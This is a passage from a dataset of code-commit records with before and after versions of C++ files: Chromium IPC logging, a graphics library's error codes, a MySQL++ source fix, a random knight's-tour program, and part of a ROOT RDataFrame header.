consumer;\n}\n\nvoid Logging::Enable() {\n  logging_event_off_->Reset();\n  logging_event_on_->Signal();\n}\n\nvoid Logging::Disable() {\n  logging_event_on_->Reset();\n  logging_event_off_->Signal();\n}\n\nvoid Logging::OnSendLogs() {\n  queue_invoke_later_pending_ = false;\n  if (!sender_)\n    return;\n\n  Message* msg = new Message(\n      MSG_ROUTING_CONTROL, IPC_LOGGING_ID, Message::PRIORITY_NORMAL);\n  WriteParam(msg, queued_logs_);\n  queued_logs_.clear();\n  sender_->Send(msg);\n}\n\nvoid Logging::SetIPCSender(IPC::Message::Sender* sender) {\n  sender_ = sender;\n}\n\nvoid Logging::OnReceivedLoggingMessage(const Message& message) {\n  std::vector<LogData> data;\n  void* iter = NULL;\n  if (!ReadParam(&message, &iter, &data))\n    return;\n\n  for (size_t i = 0; i < data.size(); ++i) {\n    Log(data[i]);\n  }\n}\n\nvoid Logging::OnSendMessage(Message* message, const std::string& channel_id) {\n  if (!Enabled())\n    return;\n\n  if (message->is_reply()) {\n    LogData* data = message->sync_log_data();\n    if (!data)\n      return;\n\n    \/\/ This is actually the delayed reply to a sync message.  Create a string\n    \/\/ of the output parameters, add it to the LogData that was earlier stashed\n    \/\/ with the reply, and log the result.\n    data->channel = channel_id;\n    GenerateLogData(\"\", *message, data);\n    Log(*data);\n    delete data;\n    message->set_sync_log_data(NULL);\n  } else {\n    \/\/ If the time has already been set (i.e. by ChannelProxy), keep that time\n    \/\/ instead as it's more accurate.\n    if (!message->sent_time())\n      message->set_sent_time(Time::Now().ToInternalValue());\n  }\n}\n\nvoid Logging::OnPreDispatchMessage(const Message& message) {\n  message.set_received_time(Time::Now().ToInternalValue());\n}\n\nvoid Logging::OnPostDispatchMessage(const Message& message,\n                                    const std::string& channel_id) {\n  if (!Enabled() ||\n#if defined(OS_WIN)\n      !message.sent_time() ||\n#endif\n      message.dont_log())\n    return;\n\n  LogData data;\n  GenerateLogData(channel_id, message, &data);\n\n  if (MessageLoop::current() == main_thread_) {\n    Log(data);\n  } else {\n    main_thread_->PostTask(FROM_HERE, NewRunnableMethod(\n        this, &Logging::Log, data));\n  }\n}\n\nvoid Logging::GetMessageText(uint16 type, std::wstring* name,\n                             const Message* message,\n                             std::wstring* params) {\n  if (!log_function_mapping_)\n    return;\n\n  int message_class = type >> 12;\n  if (log_function_mapping_[message_class] != NULL) {\n    log_function_mapping_[message_class](type, name, message, params);\n  } else {\n    DLOG(INFO) << \"No logger function associated with message class \" <<\n        message_class;\n  }\n}\n\nvoid Logging::Log(const LogData& data) {\n#if defined(OS_WIN)\n  if (consumer_) {\n    \/\/ We're in the browser process.\n    consumer_->Log(data);\n  } else {\n    \/\/ We're in the renderer or plugin processes.\n    if (sender_) {\n      queued_logs_.push_back(data);\n      if (!queue_invoke_later_pending_) {\n        queue_invoke_later_pending_ = true;\n        MessageLoop::current()->PostDelayedTask(FROM_HERE, NewRunnableMethod(\n            this, &Logging::OnSendLogs), kLogSendDelayMs);\n      }\n    }\n  }\n#elif defined(OS_POSIX)\n  \/\/ On POSIX, for now, we just dump the log to stderr\n  fprintf(stderr, \"ipc %s %d %d %s %s %s\\n\",\n          data.channel.c_str(),\n          data.routing_id,\n          data.type,\n          WideToUTF8(data.flags).c_str(),\n          WideToUTF8(data.message_name).c_str(),\n          WideToUTF8(data.params).c_str());\n#endif\n}\n\nvoid GenerateLogData(const std::string& channel, const Message& message,\n                     LogData* data) {\n  if (message.is_reply()) {\n    \/\/ \"data\" should already be filled in.\n    std::wstring params;\n    Logging::GetMessageText(data->type, NULL, &message, &params);\n\n    if (!data->params.empty() && !params.empty())\n      data->params += L\", \";\n\n    data->flags += L\" DR\";\n\n    data->params += params;\n  } else {\n    std::wstring flags;\n    if (message.is_sync())\n      flags = L\"S\";\n\n    if (message.is_reply())\n      flags += L\"R\";\n\n    if (message.is_reply_error())\n      flags += L\"E\";\n\n    std::wstring params, message_name;\n    Logging::GetMessageText(message.type(), &message_name, &message, &params);\n\n    data->channel = channel;\n    data->routing_id = message.routing_id();\n    data->type = message.type();\n    data->flags = flags;\n    data->sent = message.sent_time();\n    data->receive = message.received_time();\n    data->dispatch = Time::Now().ToInternalValue();\n    data->params = params;\n    data->message_name = message_name;\n  }\n}\n\n}\n\n#endif  \/\/ IPC_MESSAGE_LOG_ENABLED\n<|endoftext|>"}
{"text":"<commit_before>#ifndef __ciri_errorcodes__\n#define __ciri_errorcodes__\n\n#include <unordered_map>\n\nnamespace ciri {\n\tnamespace err {\n\t\tenum ErrorCode : int {\n\t\t\tCIRI_OK = 0,\n\t\t\tCIRI_UNKNOWN_ERROR\t\t\t\t\t= -1,\n\t\t\tCIRI_FILE_NOT_FOUND\t\t\t\t\t= -2,\n\t\t\tCIRI_PATH_NOT_FOUND\t\t\t\t\t= -3,\n\t\t\tCIRI_SHADER_COMPILE_FAILED\t=\t-4,\n\t\t\tCIRI_SHADER_LINK_FAILED\t\t\t=\t-5,\n\t\t\tCIRI_SHADER_INCOMPLETE\t\t\t=\t-6,\n\t\t\tCIRI_SHADER_INVALID\t\t\t\t\t=\t-7,\n\t\t\tCIRI_INVALID_ARGUMENT\t\t\t\t= -8,\n\t\t\tCIRI_NOT_IMPLEMENTED\t\t\t\t=\t-9\n\t\t};\n\n\t\tstatic std::unordered_map<ErrorCode, const char*> errorStrings = {\n\t\t\t{ CIRI_OK, \"No error\" },\n\t\t\t{ CIRI_UNKNOWN_ERROR, \"Unknown error\" },\n\t\t\t{ CIRI_FILE_NOT_FOUND, \"File not found\" },\n\t\t\t{ CIRI_PATH_NOT_FOUND, \"Path not found\" },\n\t\t\t{ CIRI_SHADER_COMPILE_FAILED, \"Shader compile failed\" },\n\t\t\t{ CIRI_SHADER_LINK_FAILED, \"Shader link failed\" },\n\t\t\t{ CIRI_SHADER_INCOMPLETE, \"Shader data incomplete\" },\n\t\t\t{ CIRI_SHADER_INVALID, \"Shader is invalid\" },\n\t\t\t{ CIRI_INVALID_ARGUMENT, \"Invalid argument\" },\n\t\t\t{ CIRI_NOT_IMPLEMENTED, \"Not yet implemented\" }\n\t\t};\n\n\t\tstatic bool success( const ErrorCode& code ) {\n\t\t\treturn CIRI_OK == code;\n\t\t}\n\n\t\tstatic bool failed( const ErrorCode& code ) {\n\t\t\treturn code != CIRI_OK;\n\t\t}\n\n\t\tstatic const char* getString( const ErrorCode& code ) {\n\t\t\treturn errorStrings[code];\n\t\t}\n\t}\n} \/\/ ciri\n\n#endif \/* __ciri_errorcodes__ *\/<commit_msg>Added two new error codes: CIRI_STATIC_BUFFER_AS_DYNAMIC for when attempting to remap a static buffer, and CIRI_BUFFER_MAP_FAILED for when mapping of an existing buffer fails (this currently does not happen in GL because subresource data is updated rather than using the DX-like mapping method, which I may switch to in the future, unsure right now).<commit_after>#ifndef __ciri_errorcodes__\n#define __ciri_errorcodes__\n\n#include <unordered_map>\n\nnamespace ciri {\n\tnamespace err {\n\t\tenum ErrorCode : int {\n\t\t\tCIRI_OK = 0,\n\t\t\tCIRI_UNKNOWN_ERROR\t\t\t\t\t\t= -1,\n\t\t\tCIRI_FILE_NOT_FOUND\t\t\t\t\t\t= -2,\n\t\t\tCIRI_PATH_NOT_FOUND\t\t\t\t\t\t= -3,\n\t\t\tCIRI_SHADER_COMPILE_FAILED\t\t=\t-4,\n\t\t\tCIRI_SHADER_LINK_FAILED\t\t\t\t=\t-5,\n\t\t\tCIRI_SHADER_INCOMPLETE\t\t\t\t=\t-6,\n\t\t\tCIRI_SHADER_INVALID\t\t\t\t\t\t=\t-7,\n\t\t\tCIRI_INVALID_ARGUMENT\t\t\t\t\t= -8,\n\t\t\tCIRI_STATIC_BUFFER_AS_DYNAMIC = -9,\n\t\t\tCIRI_BUFFER_MAP_FAILED\t\t\t\t= -10,\n\t\t\tCIRI_NOT_IMPLEMENTED\t\t\t\t\t=\t-11\n\t\t};\n\n\t\tstatic std::unordered_map<ErrorCode, const char*> errorStrings = {\n\t\t\t{ CIRI_OK, \"No error\" },\n\t\t\t{ CIRI_UNKNOWN_ERROR, \"Unknown error\" },\n\t\t\t{ CIRI_FILE_NOT_FOUND, \"File not found\" },\n\t\t\t{ CIRI_PATH_NOT_FOUND, \"Path not found\" },\n\t\t\t{ CIRI_SHADER_COMPILE_FAILED, \"Shader compile failed\" },\n\t\t\t{ CIRI_SHADER_LINK_FAILED, \"Shader link failed\" },\n\t\t\t{ CIRI_SHADER_INCOMPLETE, \"Shader data incomplete\" },\n\t\t\t{ CIRI_SHADER_INVALID, \"Shader is invalid\" },\n\t\t\t{ CIRI_INVALID_ARGUMENT, \"Invalid argument\" },\n\t\t\t{ CIRI_STATIC_BUFFER_AS_DYNAMIC, \"Attempted to treat a static buffer as a dynamic buffer\" },\n\t\t\t{ CIRI_BUFFER_MAP_FAILED, \"Failed to map a buffer\" },\n\t\t\t{ CIRI_NOT_IMPLEMENTED, \"Not yet implemented\" }\n\t\t};\n\n\t\tstatic bool success( const ErrorCode& code ) {\n\t\t\treturn CIRI_OK == code;\n\t\t}\n\n\t\tstatic bool failed( const ErrorCode& code ) {\n\t\t\treturn code != CIRI_OK;\n\t\t}\n\n\t\tstatic const char* getString( const ErrorCode& code ) {\n\t\t\treturn errorStrings[code];\n\t\t}\n\t}\n} \/\/ ciri\n\n#endif \/* __ciri_errorcodes__ *\/<|endoftext|>"}
{"text":"<commit_before>#define MYSQLPP_NOT_HEADER\n#include \"platform.h\"\n\n#include \"field_names.h\"\n\n#include \"result2.hh\"\n\nvoid FieldNames::init(const ResUse *res) {\n  int num = res->num_fields();\n  reserve(num);\n  for (int i = 0; i < num; i++) {\n\t\tstd::string p(res->fields()[i].name); str_to_lwr(p);   push_back(p);\n  }\n\t\n}\n\n<commit_msg>- #include filename fix - Code style improvements<commit_after>#define MYSQLPP_NOT_HEADER\n#include \"platform.h\"\n\n#include \"field_names.h\"\n\n#include \"result.h\"\n\nvoid FieldNames::init(const ResUse *res)\n{\n  int num = res->num_fields();\n  reserve(num);\n  for (int i = 0; i < num; i++) {\n\t\tstd::string p(res->fields()[i].name);\n\t\tstr_to_lwr(p);\n\t\tpush_back(p);\n  }\n}\n\n<|endoftext|>"}
{"text":"<commit_before>#include <iostream>\n#include <random>\n#include <stdlib.h>\n#define SIZEF 500\n\nstruct Position{\n  int x = 0;\n  int y = 0;\n};\n\nusing namespace std;\n\nint walk(Position *p,int (&board)[SIZEF][SIZEF],int size){\n  \/\/https:\/\/stackoverflow.com\/questions\/5008804\/generating-random-integer-from-a-range\n  random_device rd;\n  mt19937_64 gen(rd());\n  \/\/http:\/\/en.cppreference.com\/w\/cpp\/numeric\/random\/uniform_int_distribution\n  uniform_real_distribution<> uni(0,99.9);\n  \/\/ cout << uni(gen)<<\"\\n\";\n  double random = uni(gen);\n  int pass = 0;\n  while(1){\n    random = fmod(random,100);\n    \/\/ cout << board[1][2]<<\" BOARD[1][2]\\n\";\n    \/\/ cout << board[2][1]<<\" BOARD[2][1]\\n\";\n    \/\/ cout << p->x+1<<\" p.x\\n\";\n    \/\/ cout << p->y<<\" p.y\\n\";\n    \/\/ if ((random >= 25)&&(random < 37.5)) {\n    \/\/   cout << \"rnd: \"<<random<<\"\\n\";\n    \/\/ }\n    if ((0 <= random)&&(random < 12.5)) { \/\/ move 1\n      if((p->x-2>=0)&&(p->y+1<size)){\n        if (board[p->x-2][p->y+1] == 0) {\n          \/\/ cout << \"oi!1\" << '\\n';\n          p->x-=2;\n          p->y+=1;\n          return 0;\n        }\n      }\n      pass++;\n    }else if ((12.5 <= random)&&(random < 25)){ \/\/ move 2\n      if((p->x-1>=0)&&(p->y+2<size)){\n        if (board[p->x-1][p->y+2] == 0) {\n          \/\/ cout << \"oi!2\" << '\\n';\n          p->x-=1;\n          p->y+=2;\n          return 0;\n        }\n      }\n      pass++;\n    }else if ((25 <= random)&&(random< 37.5)){ \/\/ move 3\n      if((p->x+1<size)&&(p->y+2<size)){\n        if (board[p->x+1][p->y+2] == 0) {\n          \/\/ cout << \"oi!3\" << '\\n';\n          p->x+=1;\n          p->y+=2;\n          return 0;\n        }\n      }\n      pass++;\n    }else if ((37.5 <= random)&&(random < 50)){ \/\/ move 4\n      if((p->x+2<size)&&(p->y+1<size)){\n        if (board[p->x+2][p->y+1] == 0) {\n          \/\/ cout << \"oi!4\" << '\\n';\n          p->x+=2;\n          p->y+=1;\n          return 0;\n        }\n      }\n      pass++;\n    }else if ((50 <= random)&&(random < 62.5)){ \/\/ move 5\n      if((p->x+2<size)&&(p->y-1>=0)){\n        if (board[p->x+2][p->y-1] == 0) {\n          \/\/ cout << \"oi!5\" << '\\n';\n          p->x+=2;\n          p->y-=1;\n          return 0;\n        }\n      }\n      pass++;\n    }else if ((62.5 <= random)&&(random < 75)){ \/\/ move 6\n      if((p->x+1<size)&&(p->y-2>=0)){\n        if (board[p->x+1][p->y-2] == 0) {\n          \/\/ cout << \"oi!6\" << '\\n';\n          p->x+=1;\n          p->y-=2;\n          return 0;\n        }\n      }\n      pass++;\n    }else if ((75 <= random)&&(random < 87.5)){ \/\/ move 7\n      if((p->x-1>=0)&&(p->y-2>=0)){\n        if (board[p->x-1][p->y-2] == 0) {\n          \/\/ cout << \"oi!7\" << '\\n';\n          p->x-=1;\n          p->y-=2;\n          return 0;\n        }\n      }\n      pass++;\n    }else{ \/\/ move 8\n      if((p->x-2>=0)&&(p->y-1>=0)){\n        if (board[p->x-2][p->y-1] == 0) {\n          \/\/ cout << \"oi!8\" << '\\n';\n          p->x-=2;\n          p->y-=1;\n          return 0;\n        }\n      }\n      pass++;\n    }\n\n    random+=12.5;\n    if (pass == 8) {\n      return 1;\n    }\n  }\n\n}\n\nint main(int argc, char const *argv[]) {\n  int size,count,end;\n  int flag = 0, iter = 0;\n  int i, j;\n  \/\/ vector<Position> p;\n  cin >> size;\n  while (1) {\n    printf(\"iter %i\\n\",iter );\n    iter++;\n    Position *p;\n    p = (Position *) malloc(sizeof(Position));\n    int board [SIZEF][SIZEF] = {0};\n    board[0][0] = 1;\n    count = 2;\n    for (i = 0; i < size; i++){\n      for (j = 0;j < size; j++){\n        end = walk(p,board,size);\n        if (end == 1) {\n          flag = 0;\n          \/\/ cout << \"entrou no end\" << '\\n';\n          for (i = 0; i < count; i++) {\n            for (j = 0; j < count; j++) {\n              if (board[i][j] == 0) {\n                flag++;\n              }\n            }\n          }\n          if (flag == 0) {\n            cout << \"random is good!\" << '\\n';\n            return 0;\n          }\n          cout << \"random is mean\" << '\\n';\n          break;\n        }\n        board[p->x][p->y] = count;\n        count++;\n      }\n      if(flag != 0){\n        free(p);\n        \/\/ printf(\"free p!\\n\" );\n        break;\n      }\n    }\n  }\n  return 0;\n}\n<commit_msg>works<commit_after>#include <iostream>\n#include <random>\n#include <stdlib.h>\n#define SIZEF 500\n\nstruct Position{\n  int x = 0;\n  int y = 0;\n};\n\nusing namespace std;\n\nint walk(Position *p,int (&board)[SIZEF][SIZEF],int size){\n  \/\/https:\/\/stackoverflow.com\/questions\/5008804\/generating-random-integer-from-a-range\n  random_device rd;\n  mt19937_64 gen(rd());\n  \/\/http:\/\/en.cppreference.com\/w\/cpp\/numeric\/random\/uniform_int_distribution\n  uniform_real_distribution<> uni(0,99.9);\n  \/\/ cout << uni(gen)<<\"\\n\";\n  double random = uni(gen);\n  int pass = 0;\n  \/\/ printf(\"[%i],[%i]\\n\",p->x,p->y);\n  while(1){\n    random = fmod(random,100);\n    \/\/ cout << board[1][2]<<\" BOARD[1][2]\\n\";\n    \/\/ cout << board[2][1]<<\" BOARD[2][1]\\n\";\n    \/\/ cout << p->x+1<<\" p.x\\n\";\n    \/\/ cout << p->y<<\" p.y\\n\";\n    \/\/ if ((random >= 25)&&(random < 37.5)) {\n    \/\/   cout << \"rnd: \"<<random<<\"\\n\";\n    \/\/ }\n    if ((0 <= random)&&(random < 12.5)) { \/\/ move 1\n      if((p->x-2>=0)&&(p->y+1<size)){\n        if (board[p->x-2][p->y+1] == 0) {\n          \/\/ cout << \"oi!1\" << '\\n';\n          p->x-=2;\n          p->y+=1;\n          return 0;\n        }\n      }\n      pass++;\n    }else if ((12.5 <= random)&&(random < 25)){ \/\/ move 2\n      if((p->x-1>=0)&&(p->y+2<size)){\n        if (board[p->x-1][p->y+2] == 0) {\n          \/\/ cout << \"oi!2\" << '\\n';\n          p->x-=1;\n          p->y+=2;\n          return 0;\n        }\n      }\n      pass++;\n    }else if ((25 <= random)&&(random< 37.5)){ \/\/ move 3\n      if((p->x+1<size)&&(p->y+2<size)){\n        if (board[p->x+1][p->y+2] == 0) {\n          \/\/ cout << \"oi!3\" << '\\n';\n          p->x+=1;\n          p->y+=2;\n          return 0;\n        }\n      }\n      pass++;\n    }else if ((37.5 <= random)&&(random < 50)){ \/\/ move 4\n      if((p->x+2<size)&&(p->y+1<size)){\n        if (board[p->x+2][p->y+1] == 0) {\n          \/\/ cout << \"oi!4\" << '\\n';\n          p->x+=2;\n          p->y+=1;\n          return 0;\n        }\n      }\n      pass++;\n    }else if ((50 <= random)&&(random < 62.5)){ \/\/ move 5\n      if((p->x+2<size)&&(p->y-1>=0)){\n        if (board[p->x+2][p->y-1] == 0) {\n          \/\/ cout << \"oi!5\" << '\\n';\n          p->x+=2;\n          p->y-=1;\n          return 0;\n        }\n      }\n      pass++;\n    }else if ((62.5 <= random)&&(random < 75)){ \/\/ move 6\n      if((p->x+1<size)&&(p->y-2>=0)){\n        if (board[p->x+1][p->y-2] == 0) {\n          \/\/ cout << \"oi!6\" << '\\n';\n          p->x+=1;\n          p->y-=2;\n          return 0;\n        }\n      }\n      pass++;\n    }else if ((75 <= random)&&(random < 87.5)){ \/\/ move 7\n      if((p->x-1>=0)&&(p->y-2>=0)){\n        if (board[p->x-1][p->y-2] == 0) {\n          \/\/ cout << \"oi!7\" << '\\n';\n          p->x-=1;\n          p->y-=2;\n          return 0;\n        }\n      }\n      pass++;\n    }else{ \/\/ move 8\n      if((p->x-2>=0)&&(p->y-1>=0)){\n        if (board[p->x-2][p->y-1] == 0) {\n          \/\/ cout << \"oi!8\" << '\\n';\n          p->x-=2;\n          p->y-=1;\n          return 0;\n        }\n      }\n      pass++;\n    }\n\n    random+=12.5;\n    if (pass == 8) {\n      return 1;\n    }\n  }\n\n}\n\nint main(int argc, char const *argv[]) {\n  int size,count,end;\n  int flag = 0, iter = 0;\n  int i;\n  \/\/ vector<Position> p;\n  Position *p;\n  p = (Position *) malloc(sizeof(Position));\n  cin >> size;\n\n  while (1) {\n    \/\/ printf(\"iter %i\\n\",iter );\n    iter++;\n    int board [SIZEF][SIZEF] = {0};\n    board[0][0] = 1;\n    count = 2;\n    for (i = 0; i < size*size; i++){\n        end = walk(p,board,size);\n        if (end == 1) {\n          flag = 0;\n          \/\/ cout << \"entrou no end\" << '\\n';\n          for (int i2 = 0; i2 < size; i2++) {\n            for (int j2 = 0; j2 < size; j2++) {\n              if (board[i2][j2] == 0) {\n                flag++;\n              }\n            }\n          }\n          if (flag == 0) {\n            cout << \"random is good!\" << '\\n';\n            return 0;\n          }\n          cout << \"random is mean\" << '\\n';\n          break;\n        }\n        board[p->x][p->y] = count;\n        count++;\n      }\n      if(flag != 0){\n        p->x=0;\n        p->y=0;\n        \/\/ printf(\"free p!\\n\" );\n        \/\/ break;\n      }\n  }\n  return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Author: Enrico Guiraud, Danilo Piparo CERN  03\/2017\n\n\/*************************************************************************\n * Copyright (C) 1995-2018, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#ifndef ROOT_RLOOPMANAGER\n#define ROOT_RLOOPMANAGER\n\n#include \"ROOT\/RDF\/RNodeBase.hxx\"\n#include \"ROOT\/RDF\/NodesUtils.hxx\"\n\n#include <functional>\n#include <map>\n#include <memory>\n#include <string>\n#include <vector>\n\n\/\/ forward declarations\nclass TTreeReader;\n\nnamespace ROOT {\nnamespace RDF {\nclass RCutFlowReport;\nclass RDataSource;\n} \/\/ ns RDF\n\nnamespace Internal {\nnamespace RDF {\nColumnNames_t GetBranchNames(TTree &t, bool allowDuplicates = true);\n\nclass RActionBase;\nclass GraphNode;\n\nnamespace GraphDrawing {\nclass GraphCreatorHelper;\n} \/\/ ns GraphDrawing\n} \/\/ ns RDF\n} \/\/ ns Internal\n\nnamespace Detail {\nnamespace RDF {\nusing namespace ROOT::TypeTraits;\nnamespace RDFInternal = ROOT::Internal::RDF;\n\nclass RCustomColumnBase;\nclass RFilterBase;\nclass RRangeBase;\n\n\/\/\/ The head node of a RDF computation graph.\n\/\/\/ This class is responsible of running the event loop.\nclass RLoopManager : public RNodeBase {\n   friend class ROOT::Internal::RDF::GraphDrawing::GraphCreatorHelper;\n   using RDataSource = ROOT::RDF::RDataSource;\n   enum class ELoopType { kROOTFiles, kROOTFilesMT, kNoFiles, kNoFilesMT, kDataSource, kDataSourceMT };\n   using Callback_t = std::function<void(unsigned int)>;\n   class TCallback {\n      const Callback_t fFun;\n      const ULong64_t fEveryN;\n      std::vector<ULong64_t> fCounters;\n\n   public:\n      TCallback(ULong64_t everyN, Callback_t &&f, unsigned int nSlots)\n         : fFun(std::move(f)), fEveryN(everyN), fCounters(nSlots, 0ull)\n      {\n      }\n\n      void operator()(unsigned int slot)\n      {\n         auto &c = fCounters[slot];\n         ++c;\n         if (c == fEveryN) {\n            c = 0ull;\n            fFun(slot);\n         }\n      }\n   };\n\n   class TOneTimeCallback {\n      const Callback_t fFun;\n      std::vector<int> fHasBeenCalled; \/\/ std::vector<bool> is thread-unsafe for our purposes (and generally evil)\n\n   public:\n      TOneTimeCallback(Callback_t &&f, unsigned int nSlots) : fFun(std::move(f)), fHasBeenCalled(nSlots, 0) {}\n\n      void operator()(unsigned int slot)\n      {\n         if (fHasBeenCalled[slot] == 1)\n            return;\n         fFun(slot);\n         fHasBeenCalled[slot] = 1;\n      }\n   };\n\n   std::vector<RDFInternal::RActionBase *> fBookedActions; \/\/\/< Non-owning pointers to actions to be run\n   std::vector<RDFInternal::RActionBase *> fRunActions;    \/\/\/< Non-owning pointers to actions already run\n   std::vector<RFilterBase *> fBookedFilters;\n   std::vector<RFilterBase *> fBookedNamedFilters; \/\/\/< Contains a subset of fBookedFilters, i.e. only the named filters\n   std::vector<RRangeBase *> fBookedRanges;\n\n   \/\/\/ Shared pointer to the input TTree. It does not delete the pointee if the TTree\/TChain was passed directly as an\n   \/\/\/ argument to RDataFrame's ctor (in which case we let users retain ownership).\n   std::shared_ptr<TTree> fTree{nullptr};\n   const ColumnNames_t fDefaultColumns;\n   const ULong64_t fNEmptyEntries{0};\n   const unsigned int fNSlots{1};\n   bool fMustRunNamedFilters{true};\n   const ELoopType fLoopType; \/\/\/< The kind of event loop that is going to be run (e.g. on ROOT files, on no files)\n   std::string fToJitDeclare; \/\/\/< Code that should be just-in-time declared right before the event loop\n   std::string fToJitExec;    \/\/\/< Code that should be just-in-time executed right before the event loop\n   const std::unique_ptr<RDataSource> fDataSource; \/\/\/< Owning pointer to a data-source object. Null if no data-source\n   std::map<std::string, std::string> fAliasColumnNameMap; \/\/\/< ColumnNameAlias-columnName pairs\n   std::vector<TCallback> fCallbacks;                      \/\/\/< Registered callbacks\n   std::vector<TOneTimeCallback> fCallbacksOnce; \/\/\/< Registered callbacks to invoke just once before running the loop\n   \/\/\/ A unique ID that identifies the computation graph that starts with this RLoopManager.\n   \/\/\/ Used, for example, to jit objects in a namespace reserved for this computation graph\n   const unsigned int fID = GetNextID();\n\n   std::vector<RCustomColumnBase *> fCustomColumns; \/\/\/< Non-owning container of all custom columns created so far.\n   \/\/\/ Cache of the tree\/chain branch names. Never access directy, always use GetBranchNames().\n   ColumnNames_t fValidBranchNames;\n\n   void RunEmptySourceMT();\n   void RunEmptySource();\n   void RunTreeProcessorMT();\n   void RunTreeReader();\n   void RunDataSourceMT();\n   void RunDataSource();\n   void RunAndCheckFilters(unsigned int slot, Long64_t entry);\n   void InitNodeSlots(TTreeReader *r, unsigned int slot);\n   void InitNodes();\n   void CleanUpNodes();\n   void CleanUpTask(unsigned int slot);\n   void EvalChildrenCounts();\n   static unsigned int GetNextID();\n\npublic:\n   RLoopManager(TTree *tree, const ColumnNames_t &defaultBranches);\n   RLoopManager(ULong64_t nEmptyEntries);\n   RLoopManager(std::unique_ptr<RDataSource> ds, const ColumnNames_t &defaultBranches);\n   RLoopManager(const RLoopManager &) = delete;\n   RLoopManager &operator=(const RLoopManager &) = delete;\n\n   void JitDeclarations();\n   void Jit();\n   RLoopManager *GetLoopManagerUnchecked() final { return this; }\n   void Run();\n   const ColumnNames_t &GetDefaultColumnNames() const;\n   TTree *GetTree() const;\n   ::TDirectory *GetDirectory() const;\n   ULong64_t GetNEmptyEntries() const { return fNEmptyEntries; }\n   RDataSource *GetDataSource() const { return fDataSource.get(); }\n   void Book(RDFInternal::RActionBase *actionPtr);\n   void Deregister(RDFInternal::RActionBase *actionPtr);\n   void Book(RFilterBase *filterPtr);\n   void Deregister(RFilterBase *filterPtr);\n   void Book(RRangeBase *rangePtr);\n   void Deregister(RRangeBase *rangePtr);\n   bool CheckFilters(unsigned int, Long64_t) final;\n   unsigned int GetNSlots() const { return fNSlots; }\n   bool MustRunNamedFilters() const { return fMustRunNamedFilters; }\n   void Report(ROOT::RDF::RCutFlowReport &rep) const final;\n   \/\/\/ End of recursive chain of calls, does nothing\n   void PartialReport(ROOT::RDF::RCutFlowReport &) const final {}\n   void SetTree(const std::shared_ptr<TTree> &tree) { fTree = tree; }\n   void IncrChildrenCount() final { ++fNChildren; }\n   void StopProcessing() final { ++fNStopsReceived; }\n   void ToJitDeclare(const std::string &s) { fToJitDeclare.append(s); }\n   void ToJitExec(const std::string &s) { fToJitExec.append(s); }\n   void AddColumnAlias(const std::string &alias, const std::string &colName) { fAliasColumnNameMap[alias] = colName; }\n   const std::map<std::string, std::string> &GetAliasMap() const { return fAliasColumnNameMap; }\n   void RegisterCallback(ULong64_t everyNEvents, std::function<void(unsigned int)> &&f);\n   unsigned int GetID() const { return fID; }\n\n   \/\/\/ End of recursive chain of calls, does nothing\n   void AddFilterName(std::vector<std::string> &) {}\n   \/\/\/ For each booked filter, returns either the name or \"Unnamed Filter\"\n   std::vector<std::string> GetFiltersNames();\n\n   \/\/\/ For all the actions, either booked or run\n   std::vector<RDFInternal::RActionBase *> GetAllActions();\n\n   void RegisterCustomColumn(RCustomColumnBase *column) { fCustomColumns.push_back(column); }\n\n   void DeRegisterCustomColumn(RCustomColumnBase *column)\n   {\n      fCustomColumns.erase(std::remove(fCustomColumns.begin(), fCustomColumns.end(), column), fCustomColumns.end());\n   }\n\n   std::vector<RDFInternal::RActionBase *> GetBookedActions() { return fBookedActions; }\n   std::shared_ptr<ROOT::Internal::RDF::GraphDrawing::GraphNode> GetGraph();\n\n   const ColumnNames_t &GetBranchNames();\n};\n\n} \/\/ ns RDF\n} \/\/ ns Detail\n} \/\/ ns ROOT\n\n#endif\n<commit_msg>[DF][NFC] Remove unused method RLoopManager::MustRunNamedFilters<commit_after>\/\/ Author: Enrico Guiraud, Danilo Piparo CERN  03\/2017\n\n\/*************************************************************************\n * Copyright (C) 1995-2018, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#ifndef ROOT_RLOOPMANAGER\n#define ROOT_RLOOPMANAGER\n\n#include \"ROOT\/RDF\/RNodeBase.hxx\"\n#include \"ROOT\/RDF\/NodesUtils.hxx\"\n\n#include <functional>\n#include <map>\n#include <memory>\n#include <string>\n#include <vector>\n\n\/\/ forward declarations\nclass TTreeReader;\n\nnamespace ROOT {\nnamespace RDF {\nclass RCutFlowReport;\nclass RDataSource;\n} \/\/ ns RDF\n\nnamespace Internal {\nnamespace RDF {\nColumnNames_t GetBranchNames(TTree &t, bool allowDuplicates = true);\n\nclass RActionBase;\nclass GraphNode;\n\nnamespace GraphDrawing {\nclass GraphCreatorHelper;\n} \/\/ ns GraphDrawing\n} \/\/ ns RDF\n} \/\/ ns Internal\n\nnamespace Detail {\nnamespace RDF {\nusing namespace ROOT::TypeTraits;\nnamespace RDFInternal = ROOT::Internal::RDF;\n\nclass RCustomColumnBase;\nclass RFilterBase;\nclass RRangeBase;\n\n\/\/\/ The head node of a RDF computation graph.\n\/\/\/ This class is responsible of running the event loop.\nclass RLoopManager : public RNodeBase {\n   friend class ROOT::Internal::RDF::GraphDrawing::GraphCreatorHelper;\n   using RDataSource = ROOT::RDF::RDataSource;\n   enum class ELoopType { kROOTFiles, kROOTFilesMT, kNoFiles, kNoFilesMT, kDataSource, kDataSourceMT };\n   using Callback_t = std::function<void(unsigned int)>;\n   class TCallback {\n      const Callback_t fFun;\n      const ULong64_t fEveryN;\n      std::vector<ULong64_t> fCounters;\n\n   public:\n      TCallback(ULong64_t everyN, Callback_t &&f, unsigned int nSlots)\n         : fFun(std::move(f)), fEveryN(everyN), fCounters(nSlots, 0ull)\n      {\n      }\n\n      void operator()(unsigned int slot)\n      {\n         auto &c = fCounters[slot];\n         ++c;\n         if (c == fEveryN) {\n            c = 0ull;\n            fFun(slot);\n         }\n      }\n   };\n\n   class TOneTimeCallback {\n      const Callback_t fFun;\n      std::vector<int> fHasBeenCalled; \/\/ std::vector<bool> is thread-unsafe for our purposes (and generally evil)\n\n   public:\n      TOneTimeCallback(Callback_t &&f, unsigned int nSlots) : fFun(std::move(f)), fHasBeenCalled(nSlots, 0) 